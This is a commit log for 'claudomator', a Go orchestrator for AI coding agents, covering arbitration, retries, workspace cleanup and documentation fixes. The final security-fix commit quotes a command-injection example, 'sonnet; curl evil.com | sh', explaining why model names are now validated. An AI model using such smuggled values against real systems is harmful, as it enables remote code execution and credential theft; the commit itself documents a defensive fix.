summaryrefslogtreecommitdiff
AgeCommit message (Collapse)Author
5 daysdocs: fix workflow diagram — create_story does not auto-spawn a builder taskHEADmainClaudomator Agent
The StoryOrchestrator skips stories with no root_task_id (if st.RootTaskID == "") so create_story / POST /api/stories do not trigger Builder spawning on the next tick as the diagram incorrectly claimed. Corrected the flowchart node, the entry-point table rows, and added an explanatory note on the story lifecycle kickoff flow. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
5 daysfix(executor): validate the model classifier's output against a known model listPeter Stone
The Gemini-based Classifier trusted its LLM output verbatim. Twice in production it echoed part of its own prompt's JSON schema literally -- 'model-name' (the prompt's own placeholder, also fixed here to be less echo-prone) and separately 'choose-the-best-model' -- instead of substituting a real model identifier. Both were syntactically valid JSON strings that passed straight through to the claude CLI's --model flag, which rejected them and failed the task outright. validateClassification now rejects anything outside the known model list, which Classify's existing error handling already treats as 'classification failed' and falls back to no explicit model override -- the same documented fallback path, now also covering 'succeeded but returned garbage.'
5 daysfix(scheduler): retry role-typed FAILED tasks even with no active role_configsPeter Stone
Before this, a role with no seeded role_configs (every role except builder/planner) got no retry safety net at all: processTask returned immediately on GetActiveRoleConfig's error, leaving a task FAILED forever after a single transient infra blip. retryWithoutLadder mirrors escalateAskUserTimeout's existing 'no active role config -- still resuming, just without a provider/model change' fallback, bounded by maxRetriesNoRoleConfig (2) before declining final=true. Same treatment now applies to a decoded role config with an empty EscalationLadder.
5 daysdocs: fix workflow diagram — webhook and spawn_subtask don't auto-submit ↵Claudomator Agent
to pool - GitHub webhook (createCIFailureTask) only calls store.CreateTask with PENDING state; it never calls Pool.Submit. Previous diagram said "creates task + auto-runs" which was wrong. - spawn_subtask (both role= and no-role= variants) only calls store.CreateTask with PENDING state via storeChannel.SpawnSubtask. The pool is not called. Previous diagram labelled this "Pool.Submit() for new child/sibling" which was wrong. - Both spawn_subtask variants always set parent_task_id. The "sibling with depends_on" description for the role= case was misleading. - propose_epic and propose_role_config are storage-only writes with no connection to the pool at all. Previous diagram drew arrows from these to executor.Pool; removed and replaced with a STORAGE node. - Added explicit note that PENDING children need a separate /run call (scripts/start-next-task, StoryOrchestrator.spawnRoleTask, or manual). - StoryOrchestrator's spawnRoleTask correctly creates + QUEUED + Pool.Submit in one step; that path remains accurate. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
5 daysfix(scheduler): make arbitration fail-closed on a missing verdict, seed ↵Peter Stone
planner's system prompt A live production run (2026-07-11) showed finalizeArbitration's 'no verdict reported = approve' default silently shipping work an evaluator had already flagged as factually wrong -- the arbitration agent never called report_verdict because the planner role had no system prompt telling it to. finalizeArbitration now treats a missing verdict the same as an explicit rejection (fail-closed), and SeedRoleConfigs now also seeds planner with a prompt that explicitly mandates calling report_verdict before finishing.
5 daysdocs: add workflow and entry points diagramClaudomator Agent
Covers all entry points verified against current code: - REST API (POST /api/tasks + /run), chatbot MCP (submit_task, create_story, accept_story), GitHub webhook, Story REST API, agent spawn_subtask (parent_task_id vs depends_on/role paths), propose_epic, propose_role_config, StoryOrchestrator's internal spawning (ensureEvaluators/ensureArbitration/ensureFixAttempt/ spawnNestedFixAttempt/processRetro), Scheduler retry/escalation and ask_user-timeout escalation, claudomator run <file> CLI. Includes task state machine diagram and recursive arbitrated-review cycle showing that builder-role READY means awaiting arbitration, not done. All diagrams use Mermaid (renders on GitHub). Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
5 daysdocs: rewrite CLAUDE.md's Story orchestrator section to describe the ↵Peter Stone
finished recursive arbitrated-review design The old text described pre-piece-4a behavior (root auto-accepted eagerly) and a since-closed Design Debt item (arbitration claimed to never parse a verdict, when ReportVerdict/KindVerdictReported already existed). Rewritten to describe the actual current mechanism: builder-role nodes at any depth only reach COMPLETED via finalizeArbitration's approval, the tree-walk trigger, task.CurrentAttempt resolution, root-vs-nested fix-attempt plumbing, and SeedRoleConfigs seeding the builder role's prompt.
5 daysfix(executor): periodically sweep stale dispatch workspace directoriesPeter Stone
ContainerRunner preserves a failed execution's workspace indefinitely for debugging, with no expiry -- this accumulated 161 stale directories (~17.6GB) and took the host to 100% disk full on 2026-07-10. Pool.RunWorkspaceCleanup sweeps claudomator-workspace-* dirs older than 24h every hour, started from serve.go, mirroring StoryOrchestrator.Run's ticker shape. Never removes a directory still referenced as a currently-BLOCKED task's sandbox_dir, regardless of age.
5 daysfeat(storage): seed the builder role's system prompt on server startupClaudomator Agent
5 daysdocs: rewrite piece 5 plan as a code-based SeedRoleConfigs (mirrors ↵Peter Stone
SeedProjects) instead of a manual API call
5 daysrefactor(scheduler): migrate story fix loop off RootTaskID re-pointing onto ↵Claudomator Agent
CurrentAttempt resolution
5 daysrefactor(scheduler): recurse processStory into a tree walk over every READY ↵Claudomator Agent
builder-role node
6 daysdocs: add implementation plan for recurse-processstory-tree-walk (piece 4b-3)Peter Stone
6 daysdocs: add piece 4b-3 plan (tree-walk arbitrated review)Peter Stone
6 daysrefactor(scheduler): generalize finalizeArbitration to any builder-role ↵Claudomator Agent
node, add nested fix-attempt spawning and acceptance-criteria fallback
6 daysdocs: add implementation plan for generalize-finalize-arbitration (piece 4b-2)Peter Stone
6 daysrefactor(executor): nested builder-role tasks go READY not COMPLETED, ↵Claudomator Agent
requiring external arbitrated review
6 daysdocs: add implementation plan for ↵Peter Stone
nested-builder-completion-follows-arbitration (piece 4b-1)
6 daysrefactor(scheduler): promote story root to COMPLETED only after arbitration ↵Claudomator Agent
approves it, not eagerly on READY
6 daysdocs: fix piece-4a plan's Step 14 -- do not attempt git push in-container ↵Peter Stone
(lesson from piece 3's dispatch saga)
6 daysdocs: add implementation plan for root-completion-follows-arbitration (piece 4a)Peter Stone
6 daysfix(task): add role check to CurrentAttempt so evaluators are not mistaken ↵Agent
for fix attempts; also exclude .agent-home from git
6 daysrefactor(scheduler): migrate story fix loop off RootTaskID re-pointing onto ↵Agent
CurrentAttempt resolution
7 daysdocs: add implementation plan to migrate story fix loop to CurrentAttemptPeter Stone
Piece 3 of docs/superpowers/specs/2026-07-09-recursive-arbitrated-review-design.md. Removes ensureFixAttempt's story.RootTaskID re-pointing write path, migrating processStory/processRetro/ensureFixAttempt onto task.CurrentAttempt resolution (piece 2b). RootTaskID becomes a true immutable anchor after this lands.
7 daysfeat(task,executor): add CurrentAttempt resolution, wire maybeUnblockParent ↵Claudomator Agent
to resolve through it
7 daysdocs: add implementation plan for CurrentAttempt resolutionPeter Stone
Piece 2b of docs/superpowers/specs/2026-07-09-recursive-arbitrated-review-design.md. Builds the shared CurrentAttempt primitive (internal/task, behind a minimal TaskLookup interface so both executor.Store and scheduler.StoryStore can use it without duplication) and wires maybeUnblockParent to resolve through it. Deliberately does not touch ensureFixAttempt/story.RootTaskID (piece 3) or arbitrated-review triggering (piece 4) -- scoped to the isolated primitive plus its first real caller.
7 daysfix(api): reject accepting a BLOCKED task directlyPeter Stone
The nested-subtask-completion fix (ad00e18) necessarily added BLOCKED -> COMPLETED to task.ValidTransition so executor.Pool.maybeUnblockParent can complete a subtask whose own children all finished. That widened acceptTask's gate (shared by POST /api/tasks/{id}/accept and the chatbot MCP accept_task tool, which validates only via task.ValidTransition) to also permit accepting ANY BLOCKED task directly -- one still awaiting ask_user, or with genuinely incomplete subtasks -- bypassing the completion invariant this session's fix was built to protect. Caught by local subagent review of that fix. Not live in production: the deployed claudomator service is still on an earlier commit.
7 daysstyle: gofmt executor.go, executor_test.go, task.goPeter Stone
Pre-existing gofmt debt on all three files (confirmed dirty before this session's nested-subtask-completion commit too, not a regression) -- cleaned up while already touching these files.
7 daysfix(executor): support nested subtask decomposition ↵Claudomator Agent
(subtask-with-own-subtasks correctly blocks, cascades, and recovers)
7 daysdocs: add implementation plan for nested subtask completion fixPeter Stone
Piece 2a of docs/superpowers/specs/2026-07-09-recursive-arbitrated-review-design.md, discovered while grounding piece 2 in the real executor code: a subtask that itself spawns subtasks is incorrectly marked COMPLETED the instant its own agent turn ends, ignoring pending grandchildren. handleRunResult, maybeUnblockParent, and RecoverStaleBlocked all special-case "is this top-level" instead of "does this task have its own pending subtasks" -- a prerequisite bug fix the currentAttempt()/fix-loop generalization (piece 2b) depends on.
7 daysstyle: gofmt internal/executor and internal/agentloopPeter Stone
Task 2 of the task-acceptance-criteria plan copied the plan document's own misaligned struct-literal text verbatim without running gofmt afterward, newly breaking gofmt compliance on tools.go/agentmcp.go; also fixes pre-existing unrelated misalignment in channel.go/channel_test.go while touching the same files.
7 daysfeat(agentchannel,executor,agentloop): expose acceptance_criteria on ↵Claudomator Agent
spawn_subtask
7 daysfeat(task,storage): add Task.AcceptanceCriteria, mirroring story.Story's patternClaudomator Agent
7 daysdocs: add implementation plan for Task.AcceptanceCriteriaPeter Stone
Piece 1 of docs/superpowers/specs/2026-07-09-recursive-arbitrated-review-design.md's implementation order: adds the field the earlier 2026-07-08 spec incorrectly claimed already existed, and exposes it on spawn_subtask.
7 daysdocs: add design spec for recursive arbitrated review (supersedes root-only ↵Peter Stone
fix loop) Replaces the story.RootTaskID re-pointing mechanism shipped in 2026-07-09-story-fix-and-reevaluate-loop.md with a uniform currentAttempt() resolution that works identically at every depth of a story's task tree, not just the root. Also corrects the 2026-07-08 spec's incorrect claim that Task.AcceptanceCriteria already exists.
7 daysfeat(scheduler): automatically spawn and re-point a fix attempt when a story ↵Claudomator Agent
is rejected
7 daysdocs: add implementation plan for story fix-and-re-evaluate loopPeter Stone
Closes the recursive-story-decomposition design spec's "fix-and- re-evaluate loop has to become real" gap -- today NEEDS_FIX is a dead end requiring manual human intervention. Design decision (re-point story.RootTaskID at a fresh fix-attempt task, vs. spawning as a dependent of a fixed root) made with user input before writing this plan.
7 daysfeat(api): add create_story/get_story/list_stories/accept_story to chatbot MCPClaudomator Agent
7 daysrefactor(api): extract acceptStory service-layer helper, mirroring acceptTaskClaudomator Agent
7 daysdocs: add implementation plan for story-level chatbot MCP surfacePeter Stone
Scopes the "MCP surface: story-level tools, additive to what exists" piece of the recursive-story-decomposition design spec on its own, independent of the larger deferred per-node arbitrated-review generalization and builder role system-prompt work.
8 daysfeat(scheduler): finalizeArbitration consults a structured verdict instead ↵Claudomator Agent
of always routing to REVIEW_READY
8 daysfeat(agentloop,executor): expose report_verdict as a tool on both transportsClaudomator Agent
8 daystest(api): add missing ReportVerdict stub to fakeAgentChannelPeter Stone
Task 4's plan scope covered agentchannel.go/channel.go/channel_test.go but missed this second AgentChannel test double, which broke `go test ./...` (compile failure) even though `go build ./...` was clean.
8 daysfeat(agentchannel,executor): add ReportVerdict for structured approve/reject ↵Claudomator Agent
signals
8 daysfeat(event): add KindVerdictReportedClaudomator Agent
8 daysfeat(agentloop,executor): expose depends_on on the spawn_subtask toolClaudomator Agent
8 daysfeat(agentchannel): add DependsOn to SubtaskSpec so a decomposing task can ↵Claudomator Agent
order its own subtasks
8 daysdocs: add implementation plan for subtask ordering + structured verdict ↵Peter Stone
reporting Plan 1 of the recursive-story-decomposition design (see docs/superpowers/specs/2026-07-08-recursive-story-decomposition-design.md). Deliberately scoped to two small, independent, fully-groundable additions -- SubtaskSpec.DependsOn and a structured report_verdict tool closing the "arbitration never parses its own verdict" gap -- rather than attempting the full recursive orchestrator rewrite in one pass. That rewrite becomes its own plan(s) once story_orchestrator_test.go (1023 lines of existing convention) has been read in full. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
8 daysdocs: add design spec for recursive story decompositionPeter Stone
Retro from the tasks-board build (see memory claudomator-sequential-orchestration-gap): claudomator has no native way to drive a stated intent through review-gated implementation to arbitrary depth -- that role was played by a human/chatbot controller hand-dispatching and re-dispatching all session. Design converged through several rejected drafts (a separate "chain mode" pipeline, a distinct Planner role) before landing on the actual shape: one role, one recursive decompose-or-evaluate mechanism, applied at every depth, with arbitrated multi-evaluator review running at every node instead of once at a story's outer level. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
8 daysfix(task): reject shell metacharacters in Agent.ModelPeter Stone
Agent.Model is concatenated unescaped into a sh -c command string in ContainerRunner.buildInnerCmd (--model flag, added in the prior commit). With no validation, a value like "sonnet; curl evil.com | sh" would execute arbitrary shell code inside the task's container -- which has mounted Claude credentials and git push access. Flagged by automated security review immediately after that commit landed. Restrict to the character set real model names actually use (alphanumeric, dot, underscore, hyphen), validated at the same boundary PermissionMode already uses (task.Validate, called before a task is ever persisted or dispatched). Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD